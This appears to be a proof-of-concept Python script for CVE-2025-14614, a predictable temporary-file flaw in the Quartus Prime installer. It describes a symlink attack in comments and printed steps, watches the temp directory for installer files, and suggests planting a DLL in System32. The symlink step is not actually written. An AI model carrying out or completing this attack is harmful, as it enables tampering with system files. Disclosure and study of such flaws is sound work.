CVE-2025-14614: Altera Quartus Prime Installer 临时文件可预测漏洞

#!/usr/bin/env python3 """ CVE-2025-14614 PoC - Insecure Temporary File in Quartus Prime Installer This PoC demonstrates the concept of predictable temporary file exploitation. Note: Actual exploitation requires local access and user interaction. """ import os import sys import time import threading from pathlib import Path def create_symlink_attack(target_path, malicious_content): """ Simulate a symlink attack on predictable temporary files. In real attack, this would be combined with the installer's temp file pattern. """ print(f"[*] Setting up symlink attack...") print(f"[*] Target path: {target_path}") # In actual attack, the installer would use a predictable temp file name # like: %TEMP%\quartus_install_XXXX.tmp temp_file_pattern = os.path.join(os.environ.get('TEMP', '/tmp'), 'quartus_install_0001.tmp') print(f"[*] Predictable temp file: {temp_file_pattern}") print(f"[*] Creating symlink to target: {target_path}") # Note: Creating symlinks typically requires admin privileges on Windows # or Developer Mode enabled try: # Clean up any existing file if os.path.exists(temp_file_pattern): os.remove(temp_file_pattern) # In real attack scenario: # 1. Attacker creates symlink from temp_file_pattern to target # 2. Victim runs Quartus Prime installer # 3. Installer writes to temp_file_pattern (follows symlink) # 4. Malicious content is written to target location print(f"[!] This is a demonstration of the attack concept") print(f"[!] Actual exploitation requires:") print(f"[!] 1. Local access to the target system") print(f"[!] 2. Ability to create symlinks (Admin or Developer Mode)") print(f"[!] 3. User interaction to run the installer") return True except Exception as e: print(f"[-] Error: {e}") return False def monitor_temp_files(): """Monitor for installer temp file creation patterns""" temp_dir = os.environ.get('TEMP', '/tmp') print(f"[*] Monitoring temp directory: {temp_dir}") # Look for quartus-related temp files known_patterns = ['quartus', 'altera', 'install'] while True: try: for item in os.listdir(temp_dir): item_lower = item.lower() if any(pattern in item_lower for pattern in known_patterns): print(f"[+] Found potential temp file: {item}") except: pass time.sleep(2) if __name__ == '__main__': print("=" * 60) print("CVE-2025-14614 - Insecure Temporary File PoC") print("Quartus Prime Installer Temp File Predictability") print("=" * 60) if len(sys.argv) > 1: target = sys.argv[1] create_symlink_attack(target, "malicious content") else: print("Usage: python cve_2025_14614_poc.py <target_path>") print("Example: python cve_2025_14614_poc.py C:\\Windows\\System32\\malicious.dll")